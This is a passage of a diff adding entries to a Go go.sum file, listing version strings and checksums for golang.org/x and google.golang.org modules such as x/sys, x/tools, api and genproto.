v0.0.0-20210423185535-09eb48e85fd7/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210514084401-e8d321eab015/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210603081109-ebe580a85c40/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210603125802-9665404d3644/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210616094352-59db8d763f22/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210806184541-e5e7981a1069/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210823070655-63515b42dcdf/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210908233432-aa78b53d3365/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20211007075335-d3039528d8ac/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20211210111614-af8b64212486/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220114195835-da31bd327af9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220209214540-3681064d5158/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220227234510-4e6760a101f9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220319134239-a9b59b0215f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220328115105-d36c6a25d886/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220412211240-33da011f77ad/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220502124256-b6088ccd6cba/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220708085239-5a0f0661e09d h1:/m5NbqQelATgoSPVC2Z23sR4kVNokFwDDyWh/3rGY+I= +golang.org/x/sys v0.0.0-20220708085239-5a0f0661e09d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= +golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= +golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 h1:JGgROgKl9N8DuW20oFS5gxc+lE67/N3FcwmBPMe7ArY= +golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= +golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= +golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk= +golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= +golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= +golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= +golang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= +golang.org/x/tools v0.0.0-20190312170243-e65039ee4138/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= +golang.org/x/tools v0.0.0-20190328211700-ab21143f2384/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= +golang.org/x/tools v0.0.0-20190425150028-36563e24a262/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= +golang.org/x/tools v0.0.0-20190425163242-31fd60d6bfdc/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= +golang.org/x/tools v0.0.0-20190506145303-2d16b83fe98c/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= +golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= +golang.org/x/tools v0.0.0-20190606124116-d0a3d012864b/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= +golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= +golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= +golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20190823170909-c4a336ef6a2f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20190907020128-2ca718005c18/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191029041327-9cc4af7d6b2c/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191029190741-b9c20aec41a5/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191112195655-aa38f8e97acc/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191113191852-77e3bb0ad9e7/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191115202509-3a792d9c32b2/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191125144606-a911d9008d1f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191130070609-6e064ea0cf2d/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191216173652-a0e659d51361/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20191227053925-7b8e75db28f4/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200103221440-774c71fcf114/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200117161641-43d50277825c/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200122220014-bf1340f18c4a/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200204074204-1cc6d1ef6c74/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200207183749-b753a1ba74fa/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200212150539-ea181f53ac56/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200224181240-023911ca70b2/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200227222343-706bc42d1f0d/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200304193943-95d2e580d8eb/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw= +golang.org/x/tools v0.0.0-20200312045724-11d5b4c81c7d/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw= +golang.org/x/tools v0.0.0-20200331025713-a30bf2db82d4/go.mod h1:Sl4aGygMT6LrqrWclx+PTx3U+LnKx/seiNR+3G19Ar8= +golang.org/x/tools v0.0.0-20200501065659-ab2804fb9c9d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= +golang.org/x/tools v0.0.0-20200512131952-2bc93b1c0c88/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= +golang.org/x/tools v0.0.0-20200515010526-7d3b6ebf133d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= +golang.org/x/tools v0.0.0-20200618134242-20370b0cb4b2/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= +golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= +golang.org/x/tools v0.0.0-20200729194436-6467de6f59a7/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= +golang.org/x/tools v0.0.0-20200804011535-6c149bb5ef0d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= +golang.org/x/tools v0.0.0-20200825202427-b303f430e36d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= +golang.org/x/tools v0.0.0-20200904185747-39188db58858/go.mod h1:Cj7w3i3Rnn0Xh82ur9kSqwfTHTeVxaDqrfMjpcNT6bE= +golang.org/x/tools v0.0.0-20201110124207-079ba7bd75cd/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= +golang.org/x/tools v0.0.0-20201201161351-ac6f37ff4c2a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= +golang.org/x/tools v0.0.0-20201208233053-a543418bbed2/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= +golang.org/x/tools v0.0.0-20210105154028-b0ab187a4818/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= +golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= +golang.org/x/tools v0.0.0-20210108195828-e2f9c7f1fc8e/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= +golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0= +golang.org/x/tools v0.1.1/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= +golang.org/x/tools v0.1.2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= +golang.org/x/tools v0.1.3/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= +golang.org/x/tools v0.1.4/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= +golang.org/x/tools v0.1.5/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= +golang.org/x/xerrors v0.0.0-20190410155217-1f06c39b4373/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20190513163551-3ee3066db522/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20220411194840-2f41105eb62f/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20220517211312-f3a8303e98df/go.mod h1:K8+ghG5WaK9qNqU5K3HdILfMLy1f3aNYFI/wnl100a8= +google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE= +google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M= +google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= +google.golang.org/api v0.9.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= +google.golang.org/api v0.13.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= +google.golang.org/api v0.14.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= +google.golang.org/api v0.15.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= +google.golang.org/api v0.17.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= +google.golang.org/api v0.18.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= +google.golang.org/api v0.19.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= +google.golang.org/api v0.20.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= +google.golang.org/api v0.22.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= +google.golang.org/api v0.24.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE= +google.golang.org/api v0.28.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE= +google.golang.org/api v0.29.0/go.mod h1:Lcubydp8VUV7KeIHD9z2Bys/sm/vGKnG1UHuDBSrHWM= +google.golang.org/api v0.30.0/go.mod h1:QGmEvQ87FHZNiUVJkT14jQNYJ4ZJjdRF23ZXz5138Fc= +google.golang.org/api v0.35.0/go.mod h1:/XrVsuzM0rZmrsbjJutiuftIzeuTQcEeaYcSk/mQ1dg= +google.golang.org/api v0.36.0/go.mod h1:+z5ficQTmoYpPn8LCUNVpK5I7hwkpjbcgqA7I34qYtE= +google.golang.org/api v0.40.0/go.mod h1:fYKFpnQN0DsDSKRVRcQSDQNtqWPfM9i+zNPxepjRCQ8= +google.golang.org/api v0.41.0/go.mod h1:RkxM5lITDfTzmyKFPt+wGrCJbVfniCr2ool8kTBzRTU= +google.golang.org/api v0.43.0/go.mod h1:nQsDGjRXMo4lvh5hP0TKqF244gqhGcr/YSIykhUk/94= +google.golang.org/api v0.44.0/go.mod h1:EBOGZqzyhtvMDoxwS97ctnh0zUmYY6CxqXsc1AvkYD8= +google.golang.org/api v0.47.0/go.mod h1:Wbvgpq1HddcWVtzsVLyfLp8lDg6AA241LmgIL59tHXo= +google.golang.org/api v0.48.0/go.mod h1:71Pr1vy+TAZRPkPs/xlCf5SsU8WjuAWv1Pfjbtukyy4= +google.golang.org/api v0.50.0/go.mod h1:4bNT5pAuq5ji4SRZm+5QIkjny9JAyVD/3gaSihNefaw= +google.golang.org/api v0.51.0/go.mod h1:t4HdrdoNgyN5cbEfm7Lum0lcLDLiise1F8qDKX00sOU= +google.golang.org/api v0.54.0/go.mod h1:7C4bFFOvVDGXjfDTAsgGwDgAxRDeQ4X8NvUedIt6z3k= +google.golang.org/api v0.55.0/go.mod h1:38yMfeP1kfjsl8isn0tliTjIb1rJXcQi4UXlbqivdVE= +google.golang.org/api v0.56.0/go.mod h1:38yMfeP1kfjsl8isn0tliTjIb1rJXcQi4UXlbqivdVE= +google.golang.org/api v0.57.0/go.mod h1:dVPlbZyBo2/OjBpmvNdpn2GRm6rPy75jyU7bmhdrMgI= +google.golang.org/api v0.59.0/go.mod h1:sT2boj7M9YJxZzgeZqXogmhfmRWDtPzT31xkieUbuZU= +google.golang.org/api v0.61.0/go.mod h1:xQRti5UdCmoCEqFxcz93fTl338AVqDgyaDRuOZ3hg9I= +google.golang.org/api v0.63.0/go.mod h1:gs4ij2ffTRXwuzzgJl/56BdwJaA194ijkfn++9tDuPo= +google.golang.org/api v0.67.0/go.mod h1:ShHKP8E60yPsKNw/w8w+VYaj9H6buA5UqDp8dhbQZ6g= +google.golang.org/api v0.70.0/go.mod h1:Bs4ZM2HGifEvXwd50TtW70ovgJffJYw2oRCOFU/SkfA= +google.golang.org/api v0.71.0/go.mod h1:4PyU6e6JogV1f9eA4voyrTY2batOLdgZ5qZ5HOCc4j8= +google.golang.org/api v0.74.0/go.mod h1:ZpfMZOVRMywNyvJFeqL9HRWBgAuRfSjJFpe9QtRRyDs= +google.golang.org/api v0.75.0/go.mod h1:pU9QmyHLnzlpar1Mjt4IbapUCy8J+6HD6GeELN69ljA= +google.golang.org/api v0.78.0/go.mod h1:1Sg78yoMLOhlQTeF+ARBoytAcH1NNyyl390YMy6rKmw= +google.golang.org/api v0.81.0/go.mod h1:FA6Mb/bZxj706H2j+j2d6mHEEaHBmbbWnkfvmorOCko= +google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= +google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= +google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= +google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0= +google.golang.org/appengine v1.6.5/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= +google.golang.org/appengine v1.6.6/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= +google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= +google.golang.org/genproto v0.0.0-20180427144745-86e600f69ee4/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= +google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= +google.golang.org/genproto v0.0.0-20181107211654-5fc9ac540362/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= +google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= +google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= +google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= +google.golang.org/genproto v0.0.0-20190502173448-54afdca5d873/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= +google.golang.org/genproto v0.0.0-20190801165951-fa694d86fc64/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= +google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= +google.golang.org/genproto v0.0.0-20190911173649-1774047e7e51/go.mod h1:IbNlFCBrqXvoKpeg0TB2l7cyZUmoaFKYIwrEpbDKLA8= +google.golang.org/genproto v0.0.0-20191108220845-16a3f7862a1a/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= +google.golang.org/genproto v0.0.0-20191115194625-c23dd37a84c9/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= +google.golang.org/genproto v0.0.0-20191216164720-4f79533eabd1/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= +google.golang.org/genproto v0.0.0-20191230161307-f3c370f40bfb/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= +google.golang.org/genproto v0.0.0-20200115191322-ca5a22157cba/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= +google.golang.org/genproto v0.0.0-20200122232147-0452cf42e150/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= +google.golang.org/genproto v0.0.0-20200204135345-fa8e72b47b90/go.mod h1:GmwEX6Z4W5gMy59cAlVYjN9JhxgbQH6Gn+gFDQe2lzA= +google.golang.org/genproto v0.0.0-20200212174721-66ed5ce911ce/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200224152610-e50cd9704f63/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200228133532-8c2c7df3a383/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200305110556-506484158171/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200312145019-da6875a35672/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200331122359-1ee6d9798940/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200423170343-7949de9c1215/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200430143042-b979b6f78d84/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200511104702-f5ebc3bea380/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200513103714-09dca8ec2884/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200515170657-fc4c6c6a6587/go.mod h1:YsZOwe1myG/8QRHRsmBRE1LrgQY60beZKjly0O1fX9U= +google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo= +google.golang.org/genproto v0.0.0-20200618031413-b414f8b61790/go.mod h1:jDfRM7FcilCzHH/e9qn6dsT145K34l5v+OpcnNgKAAA= +google.golang.org/genproto v0.0.0-20200729003335-053ba62fc06f/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20200804131852-c06518451d9c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20200825200019-8632dd797987/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20200904004341-0bd0a958aa1d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20201109203340-2640f1f9cdfb/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto 